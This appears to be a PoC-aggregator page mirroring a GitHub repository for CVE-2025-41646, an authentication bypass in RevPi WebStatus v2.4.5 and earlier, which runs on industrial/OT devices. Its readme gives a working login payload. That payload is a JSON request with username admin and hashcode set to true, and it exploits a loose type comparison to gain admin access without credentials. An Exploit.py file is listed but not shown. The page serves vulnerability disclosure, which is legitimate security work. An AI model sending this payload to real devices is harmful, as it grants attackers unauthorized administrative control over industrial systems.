CVE-2025-41646 PoC — RevPi Webstatus application is vulnerable to an authentication bypass

Source

https://github.com/GreenForceNetwork/CVE-2025-41646---Critical-Authentication-Bypass-

Associated Vulnerability

Title:RevPi Webstatus application is vulnerable to an authentication bypass (CVE-2025-41646)
Description:An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device

Description

CVE-2025-41646 - Critical Authentication bypass

Readme

# CVE-2025-41646---Critical-Authentication-Bypass-
CVE-2025-41646 - Critical Authentication bypass

# 🔓 CVE-2025-41646 - RevPi WebStatus Authentication Bypass PoC

A critical authentication bypass vulnerability (CVE-2025-41646) in RevPi WebStatus ≤ v2.4.5 allows an attacker to log in as **admin** without valid credentials due to weak type comparison logic (`==` vs `===`).

---

## 📌 Affected

- RevPi WebStatus v2.4.5 and below
- Industrial/OT systems running on Raspbian with Apache

---

## 💥 Exploitation

Send a login request with:

```json
{
  "mode": "LOGIN",
  "username": "admin",
  "hashcode": true
}

File Snapshot


 [4.0K]  /data/pocs/edc6123ade7c5003031d6e2c53a0bf394c62f7de
├── [ 701]  Exploit.py
└── [ 624]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!